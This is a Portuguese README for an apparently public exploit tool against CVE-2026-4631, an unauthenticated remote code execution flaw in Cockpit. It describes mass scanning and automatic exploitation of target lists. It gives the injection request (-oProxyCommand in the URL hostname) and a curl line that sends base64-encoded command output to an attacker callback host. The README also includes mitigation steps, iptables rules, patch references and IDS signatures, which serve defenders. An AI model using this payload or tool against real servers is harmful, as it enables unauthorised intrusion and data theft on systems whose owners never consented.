CVE-2026-4631-cockpit-RCE

Execução Remota de Código Não Autenticada via Injeção de Argumentos de Linha de Comando SSH nas versões 327 – 359 do Cockpit | CVSS 9.8 Crítico | CWE-78

Preparar Alvo

Edite targets.txt — um host por linha. A porta :9090 é adicionada automaticamente se não existir:

Executar (Modo AUTO — Recomendado)

Outros Modos

Notas sobre Callback

CVE-2026-4631 é um RCE cego — a saída do comando não retorna na resposta HTTP. A ferramenta utiliza um ouvinte HTTP embutido (porta padrão 8888) para capturar a saída. Certifique-se de que:

1. --callback-ip é um IP acessível a partir do alvo (não 127.0.0.1)
2. O firewall permite tráfego TCP de entrada na porta 8888 (ou --listener-port personalizada)
3. O alvo pode fazer HTTP de saída para o IP do atacante

Como Corrigir / Mitigar (Defensor)

1. Atualizar o Cockpit (Obrigatório)

2. Desabilitar Login Remoto (Solução Alternativa)

Edite /etc/cockpit/cockpit.conf:

Reinicie o serviço:

3. Segmentação de Rede

Restrinja a porta 9090 apenas à rede de gerenciamento:

4. Atualizar OpenSSH >= 9.6

Mitiga o Vetor 1 (injeção ProxyCommand) através da validação precoce do hostname:

5. Patch Manual (Backport)

Se não for possível atualizar para 360, aplique os patches dos commits:

• cockpit 9d0695647 — adiciona separador -- em beiboot.py e cockpitauth.c
• ferny 44ec511c99 — adiciona -- em session.py

Detalhes do patch: veja docs/PATCH_ANALYSIS.md

Índice

1. Resumo da Vulnerabilidade
2. Vetor de Ataque
3. Pré-requisitos de Exploração
4. Instalação
5. Uso
6. Modos de Operação
7. Exemplos de Execução
8. Formato de Saída
9. Arquitetura da Ferramenta
10. Estrutura de Arquivos
11. Mecanismo de Captura de RCE Cego
12. Detecção e Mitigação
13. Aviso Legal
14. Referências

Resumo da Vulnerabilidade

O Cockpit v327 substituiu cockpit-ssh (libssh) por python3 -m cockpit.beiboot, que invoca o cliente ssh do OpenSSH do sistema. Entradas controladas pelo usuário — hostname do caminho da URL e username do cabeçalho Authorization: Basic — são passadas para o ssh sem sanitização e sem o separador -- de fim de opções. A injeção ocorre antes da verificação de credenciais, portanto não é necessário um login válido.

Vetor de Ataque

Vetor 1 — Injeção de ProxyCommand (Principal)

O hostname do caminho da URL é injetado com a opção SSH -oProxyCommand=<cmd>.

O SSH interpreta -oProxyCommand=<cmd> como uma opção, executando <cmd> como ProxyCommand. O comando é executado como o processo do usuário cockpit-ws.

Pré-requisito: OpenSSH < 9.6 no alvo. OpenSSH 9.6+ possui validação precoce de hostname que bloqueia metacaracteres.

Vetor 2 — Injeção do Token %r no Username (Secundário)

O username do cabeçalho Authorization: Basic é injetado com um comando shell.

O SSH expande %r com o username dentro da diretiva Match exec → o shell executa o comando injetado.

Pré-requisito: o ssh_config do alvo possui uma diretiva Match exec com o token %r.

Pré-requisitos de Exploração

Lado do Atacante (máquina que executa a ferramenta)

• Python 3.8+
• IP acessível a partir do alvo Cockpit (para o ouvinte de callback)
• Porta aberta para o ouvinte (padrão 8888)
• Firewall permitindo tráfego de entrada do alvo para a porta do ouvinte

Lado do Alvo (instância Cockpit)

• Versão do Cockpit 327 – 359
• Porta 9090 acessível
• Recurso de login remoto (LoginTo) não desabilitado
• Para Vetor 1: OpenSSH < 9.6
• Para Vetor 2: ssh_config com Match exec %r

Instalação

Dependências

• requests>=2.31 — Cliente HTTP para requisições de exploração
• colorama>=0.4 — Saída colorida no terminal

Nenhuma dependência adicional para o ouvinte (usa http.server + threading da stdlib).

Uso

Modos de Operação

Modo 1 — Varredura de Vulnerabilidade (--scan)

Sonda o endpoint /cockpit+=probe-host/login sem explorar. Detecta:

• Identificação do Cockpit via cabeçalhos/corpo da resposta
• Fluxo de login vulnerável ativo (código de resposta 401/403/200/500)
• Inferência de versão, se possível

Não envia payloads perigosos, não requer ouvinte de callback.

Modo 2 — RCE com Captura de Comando (-c "cmd")

Executa comando no alvo, captura saída via callback:

• Ouvinte HTTP embutido inicia em segundo plano
• Payload ProxyCommand encapsula comando com curl exfiltrado para o ouvinte
• Saída é codificada em base64 e enviada via POST para o ouvinte
• Ouvinte decodifica e associa ao alvo via ID da requisição
• Resultado é escrito no arquivo de saída
• Se -c não for fornecido, comando padrão = id

Modo 3 — AUTO (--auto) — Recomendado

Varredura + exploração em uma única passagem, comando padrão id:

1. Analisa a lista de alvos (adiciona automaticamente porta 9090 se ausente)
2. Inicia ouvinte de callback
3. Por alvo: varre → se VULNERÁVEL, explora imediatamente com id (ou -c para substituir)
4. Alvos NÃO VULNERÁVEIS / INALCANÇÁVEIS são ignorados (não explorados)
5. Resultado: host [ uid=0(root) ... ]

Modo 4 — Vetor Automático (--vector auto)

Tenta primeiro o Vetor 1 (ProxyCommand). Se a resposta indicar OpenSSH >= 9.6 (erro de validação de hostname), cai para o Vetor 2 (injeção de username %r).

Normalização Automática de Porta

Cada entrada em targets.txt sem porta recebe automaticamente :9090:

Exemplos de Execução

AUTO — Varredura + Exploração (Recomendado)

Saída results.txt:

Varredura de Vulnerabilidade — Alvos em Massa

Saída scan_results.txt:

RCE — Alvo Único

Saída:

RCE — Alvos em Massa com Captura de Comando

RCE — Vetor Específico

Ajuste de Concorrência e Timeout

Depuração via Proxy

Formato de Saída

Formato do arquivo de resultado: uma linha por alvo:

O cabeçalho do arquivo de resultado registra timestamp, comando, vetor e número de alvos.

Arquitetura da Ferramenta

Componentes

• exploit.py — ponto de entrada, analisa argumentos, despacha para o mecanismo, exibe banner
• core/target.py — lê -f file / -t url, normaliza (adiciona http://, porta padrão 9090), deduplica
• core/scanner.py — modo --scan, sonda endpoint, identifica Cockpit, infere vulnerabilidade
• core/exploit.py — gera payload por vetor, envia requisição de exploração via requests
• core/listener.py — ThreadingHTTPServer em --callback-ip:--listener-port, analisa ?id=REQID&out=BASE64, armazena em dicionário compartilhado
• core/engine.py — orquestrador: inicia ouvinte, cria ThreadPoolExecutor, associa callback ao alvo via ID da requisição, lida com timeout, escreve resultado
• utils/banner.py — banner ASCII
• utils/result.py — escritor de arquivo de resultado com formato host [ output ]

Estrutura de Arquivos

Mecanismo de Captura de RCE Cego

CVE-2026-4631 é um RCE cego — a saída do comando não é retornada na resposta HTTP do Cockpit. A ferramenta contorna isso com um ouvinte HTTP de callback embutido:

Fluxo

1. Ouvinte inicia — servidor HTTP com threads escuta em --callback-ip:--listener-port
2. Gerar REQID — por alvo, UUID4 hex de 8 caracteres único
3. Construir payload — ProxyCommand encapsula comando com curl exfiltrante:
   root@kitploit:~

   bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
   

4. Codificar payload na URL — injeta no campo hostname:
   root@kitploit:~

   GET /cockpit+=-oProxyCommand=<PAYLOAD_CODIFICADO_URL>/login
   Authorization: Basic base64("x:x")
   

5. Enviar requisição — via requests.get, verify=False para certificado autoassinado
6. Aguardar callback — consulta dicionário compartilhado results[REQID] até --timeout
7. Associar e decodificar — se callback chegar, decodifica saída base64, associa ao alvo via REQID
8. Escrever resultado — host [ saída_decodificada ] no arquivo de saída

Fallback sem Callback

Se timeout sem callback, verifica erro SSH na resposta:

• Erro de validação de hostname → OpenSSH >= 9.6, Vetor 1 bloqueado → VULN - no callback (OpenSSH >= 9.6?)
• Erro de conexão → UNREACHABLE
• Endpoint inexistente → NOT VULN

Concorrência

• ThreadPoolExecutor(max_workers=--threads) paralelo por alvo
• Dicionários compartilhados dict[REQID] -> target_host + dict[REQID] -> output com threading.Lock
• ThreadingHTTPServer lida com callbacks concorrentes
• Por alvo: try/except: erro de conexão, erro SSL, timeout

Detecção e Mitigação

Assinatura IDS de Rede

Fique atento a:

• -oProxyCommand= no caminho da URL
• Ponto e vírgula (;) no valor decodificado do Authorization: Basic

Busca em Logs

Mitigação

1. Atualizar Cockpit >= 360 (correção obrigatória)
2. Desabilitar login remoto — /etc/cockpit/cockpit.conf:
   root@kitploit:~

   [WebService]
   LoginTo = false
   

3. Segmentação de rede — restringir porta 9090 à rede de gerenciamento:
   root@kitploit:~

   iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
   iptables -A INPUT -p tcp --dport 9090 -j DROP
   

4. Atualizar OpenSSH >= 9.6 — mitiga Vetor 1 (validação precoce de hostname)

Verificação de Versão

Aviso Legal

Esta ferramenta foi criada para testes de penetração autorizados, pesquisa de segurança e validação de vulnerabilidades em sistemas que você possui ou para os quais tem permissão por escrito para testar.

O uso desta ferramenta em sistemas sem autorização explícita do proprietário é ilegal e pode resultar em sanções penais de acordo com a legislação aplicável.

O autor não se responsabiliza pelo uso indevido desta ferramenta. Use-a de forma ética e responsável.

Casos de uso autorizados:

• Auditoria de segurança em sua própria infraestrutura
• Engajamento de teste de penetração com escopo por escrito
• Validação de patches em ambiente de laboratório
• CTF e treinamento de segurança

Referências

Licença

Para fins de pesquisa e testes autorizados. Não para distribuição comercial sem permissão.